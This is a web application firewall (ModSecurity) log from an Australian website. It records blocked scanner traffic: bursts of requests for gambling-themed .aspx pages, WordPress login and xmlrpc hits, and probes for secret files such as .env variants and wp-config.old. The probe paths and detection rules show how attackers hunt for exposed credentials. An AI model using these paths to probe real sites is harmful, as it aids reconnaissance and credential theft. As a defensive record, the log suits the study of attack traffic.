[Wed May 06 05:37:54.733989 2026] [:error] [pid 33660:tid 33670] [client 51.195.103.76:47156] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "afpjMv6jj6Ce_ERq7qNpLAAAAQg"]
[Wed May 06 05:37:57.291957 2026] [:error] [pid 48867:tid 48875] [client 51.195.103.76:47162] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "afpjNVZQ-8ZcCbMZPy4HVAAAAMU"]
[Wed May 06 05:37:59.667198 2026] [:error] [pid 33660:tid 33686] [client 51.195.103.76:30488] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "afpjN_6jj6Ce_ERq7qNpOAAAARg"]
[Wed May 06 05:38:02.084388 2026] [:error] [pid 33660:tid 33681] [client 51.195.103.76:30490] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "afpjOv6jj6Ce_ERq7qNpPgAAARM"]
[Wed May 06 05:38:04.530410 2026] [:error] [pid 33660:tid 33684] [client 51.195.103.76:30506] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "afpjPP6jj6Ce_ERq7qNpQgAAARY"]
[Wed May 06 05:38:07.006380 2026] [:error] [pid 48757:tid 48766] [client 51.195.103.76:30508] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "afpjP0AivC3C614LoA5mIAAAAAA"]
[Wed May 06 05:38:09.406581 2026] [:error] [pid 33660:tid 33682] [client 51.195.103.76:42650] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "afpjQf6jj6Ce_ERq7qNpSgAAARQ"]
[Wed May 06 05:38:11.887352 2026] [:error] [pid 33660:tid 33670] [client 51.195.103.76:42656] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "afpjQ_6jj6Ce_ERq7qNpUAAAAQg"]
[Wed May 06 05:38:14.374721 2026] [:error] [pid 33660:tid 33663] [client 51.195.103.76:42668] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "afpjRv6jj6Ce_ERq7qNpVAAAAQE"]
[Wed May 06 05:38:16.862955 2026] [:error] [pid 33660:tid 33672] [client 51.195.103.76:42676] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "afpjSP6jj6Ce_ERq7qNpVQAAAQo"]
[Wed May 06 05:38:19.317376 2026] [:error] [pid 48867:tid 48873] [client 51.195.103.76:33532] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "afpjS1ZQ-8ZcCbMZPy4HWQAAAMM"]
[Wed May 06 05:38:21.807010 2026] [:error] [pid 33660:tid 33671] [client 51.195.103.76:33534] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "afpjTf6jj6Ce_ERq7qNpWwAAAQk"]
[Wed May 06 05:38:24.054981 2026] [:error] [pid 33660:tid 33674] [client 51.195.103.76:33544] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "afpjUP6jj6Ce_ERq7qNpXwAAAQw"]
[Wed May 06 05:38:26.534168 2026] [:error] [pid 33660:tid 33680] [client 51.195.103.76:33548] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "afpjUv6jj6Ce_ERq7qNpYgAAARI"]
[Wed May 06 05:38:28.998504 2026] [:error] [pid 33660:tid 33675] [client 51.195.103.76:23596] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "afpjVP6jj6Ce_ERq7qNpZgAAAQ0"]
[Wed May 06 05:38:31.427771 2026] [:error] [pid 33660:tid 33662] [client 51.195.103.76:23612] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "afpjV_6jj6Ce_ERq7qNpaQAAAQA"]
[Wed May 06 05:38:33.766560 2026] [:error] [pid 33660:tid 33678] [client 51.195.103.76:23616] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "afpjWf6jj6Ce_ERq7qNpbgAAARA"]
[Wed May 06 05:38:36.410521 2026] [:error] [pid 48757:tid 48786] [client 51.195.103.76:23618] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "afpjXEAivC3C614LoA5mKAAAABQ"]
[Wed May 06 05:38:38.804151 2026] [:error] [pid 33660:tid 33675] [client 51.195.103.76:60780] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "afpjXv6jj6Ce_ERq7qNpcQAAAQ0"]
[Wed May 06 05:38:41.233957 2026] [:error] [pid 48757:tid 48788] [client 51.195.103.76:60790] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "afpjYUAivC3C614LoA5mKwAAABY"]
[Wed May 06 05:38:43.675611 2026] [:error] [pid 33660:tid 33673] [client 51.195.103.76:60792] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "afpjY_6jj6Ce_ERq7qNpdQAAAQs"]
[Wed May 06 05:38:46.072038 2026] [:error] [pid 48757:tid 48767] [client 51.195.103.76:60802] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "afpjZkAivC3C614LoA5mMQAAAAE"]
[Wed May 06 05:38:48.546528 2026] [:error] [pid 48867:tid 48891] [client 51.195.103.76:51932] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "afpjaFZQ-8ZcCbMZPy4HYQAAANU"]
[Wed May 06 05:38:51.078997 2026] [:error] [pid 33660:tid 33666] [client 51.195.103.76:51934] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "afpja_6jj6Ce_ERq7qNpdwAAAQQ"]
[Wed May 06 05:39:20.627889 2026] [:error] [pid 33660:tid 33686] [client 51.195.103.76:22382] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "afpjiP6jj6Ce_ERq7qNpqAAAARg"]
[Wed May 06 05:39:22.971134 2026] [:error] [pid 48759:tid 48843] [client 51.195.103.76:22384] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "afpjiqmcftH9JrQl_yHMMAAAAJU"]
[Wed May 06 05:39:25.460446 2026] [:error] [pid 48867:tid 48878] [client 51.195.103.76:22390] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "afpjjVZQ-8ZcCbMZPy4HgQAAAMg"]
[Wed May 06 05:39:27.934333 2026] [:error] [pid 33660:tid 33673] [client 51.195.103.76:58938] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "afpjj_6jj6Ce_ERq7qNprQAAAQs"]
[Wed May 06 05:39:30.316591 2026] [:error] [pid 48757:tid 48768] [client 51.195.103.76:58950] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "afpjkkAivC3C614LoA5mTgAAAAI"]
[Wed May 06 05:39:32.616102 2026] [:error] [pid 48759:tid 48829] [client 51.195.103.76:58952] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "afpjlKmcftH9JrQl_yHMNQAAAIc"]
[Wed May 06 05:39:35.150467 2026] [:error] [pid 48867:tid 48885] [client 51.195.103.76:58958] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "afpjl1ZQ-8ZcCbMZPy4HiAAAAM8"]
[Wed May 06 05:39:37.610193 2026] [:error] [pid 48759:tid 48845] [client 51.195.103.76:58972] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "afpjmamcftH9JrQl_yHMOQAAAJc"]
[Wed May 06 05:39:39.844471 2026] [:error] [pid 48758:tid 48806] [client 51.195.103.76:27558] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "afpjmzENoN-kMgC5tXgatwAAAEs"]
[Wed May 06 05:39:42.209546 2026] [:error] [pid 48867:tid 48878] [client 51.195.103.76:27570] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "afpjnlZQ-8ZcCbMZPy4HjgAAAMg"]
[Wed May 06 05:39:44.887406 2026] [:error] [pid 48757:tid 48785] [client 51.195.103.76:27576] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "afpjoEAivC3C614LoA5mUgAAABM"]
[Wed May 06 05:39:47.393439 2026] [:error] [pid 33660:tid 33677] [client 51.195.103.76:27580] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "afpjo_6jj6Ce_ERq7qNptgAAAQ8"]
[Wed May 06 05:39:49.856615 2026] [:error] [pid 33660:tid 33681] [client 51.195.103.76:20832] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "afpjpf6jj6Ce_ERq7qNpuAAAARM"]
[Wed May 06 05:39:52.412269 2026] [:error] [pid 48758:tid 48801] [client 51.195.103.76:20834] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "afpjqDENoN-kMgC5tXgawAAAAEY"]
[Wed May 06 05:39:54.854665 2026] [:error] [pid 48759:tid 48833] [client 51.195.103.76:20846] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "afpjqqmcftH9JrQl_yHMQQAAAIs"]
[Wed May 06 05:39:57.163217 2026] [:error] [pid 48759:tid 48845] [client 51.195.103.76:20852] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "afpjramcftH9JrQl_yHMQgAAAJc"]
[Wed May 06 06:04:01.960082 2026] [:error] [pid 33660:tid 33675] [client 192.3.53.163:60666] [client 192.3.53.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.3.53.163, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "afppUf6jj6Ce_ERq7qNwYQAAAQ0"]
[Wed May 06 06:04:02.108151 2026] [:error] [pid 48759:tid 48838] [client 192.3.53.163:60668] [client 192.3.53.163] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.3.53.163, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "afppUqmcftH9JrQl_yHQkwAAAJA"]
[Wed May 06 09:09:21.366152 2026] [:error] [pid 9664:tid 9778] [client 106.54.62.156:32904] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afqUwQH4OZbrg1SjsBPSNwAAAJA"]
[Wed May 06 09:58:47.731580 2026] [:error] [pid 13414:tid 13435] [client 43.135.36.201:41804] [client 43.135.36.201] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afqgV0uJQpWjVpJTu_nlBAAAARM"]
[Wed May 06 10:04:11.481012 2026] [:error] [pid 9664:tid 9786] [client 134.199.167.116:57448] [client 134.199.167.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.199.167.116, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "afqhmwH4OZbrg1SjsBPoZgAAAJg"]
[Wed May 06 10:04:11.560381 2026] [:error] [pid 9664:tid 9773] [client 134.199.167.116:57465] [client 134.199.167.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.199.167.116, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "afqhmwH4OZbrg1SjsBPoZwAAAIs"]
[Wed May 06 10:38:29.815629 2026] [:error] [pid 9789:tid 9792] [client 92.118.39.194:34688] [client 92.118.39.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.next/routes-manifest.json"] [unique_id "afqppT_YStPJSCHPkUUpiQAAAEE"]
[Wed May 06 10:38:29.815778 2026] [:error] [pid 9653:tid 9707] [client 92.118.39.194:34558] [client 92.118.39.194] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/config/parameters.yml" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/config/parameters.yml"] [unique_id "afqppahJ49Xc4dqq0B5s-wAAAAk"]
[Wed May 06 10:38:29.816807 2026] [:error] [pid 9659:tid 9738] [client 92.118.39.194:34942] [client 92.118.39.194] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example"] [unique_id "afqppfwJnWjd8JHpBttRNAAAAMQ"]
[Wed May 06 10:38:29.818324 2026] [:error] [pid 9664:tid 9772] [client 92.118.39.194:34550] [client 92.118.39.194] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.old" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.old"] [unique_id "afqppQH4OZbrg1SjsBPz5AAAAIo"]
[Wed May 06 10:38:29.819660 2026] [:error] [pid 9789:tid 9806] [client 92.118.39.194:34702] [client 92.118.39.194] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.sample"] [unique_id "afqppT_YStPJSCHPkUUpiwAAAE8"]
[Wed May 06 10:38:29.820071 2026] [:error] [pid 9653:tid 9710] [client 92.118.39.194:34518] [client 92.118.39.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/jwks.json"] [unique_id "afqppahJ49Xc4dqq0B5s_QAAAAw"]
[Wed May 06 10:38:29.821231 2026] [:error] [pid 9659:tid 9752] [client 92.118.39.194:34676] [client 92.118.39.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/actuator/refresh"] [unique_id "afqppfwJnWjd8JHpBttROQAAANI"]
[Wed May 06 10:38:29.821999 2026] [:error] [pid 9664:tid 9775] [client 92.118.39.194:34836] [client 92.118.39.194] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.default"] [unique_id "afqppQH4OZbrg1SjsBPz5wAAAI0"]
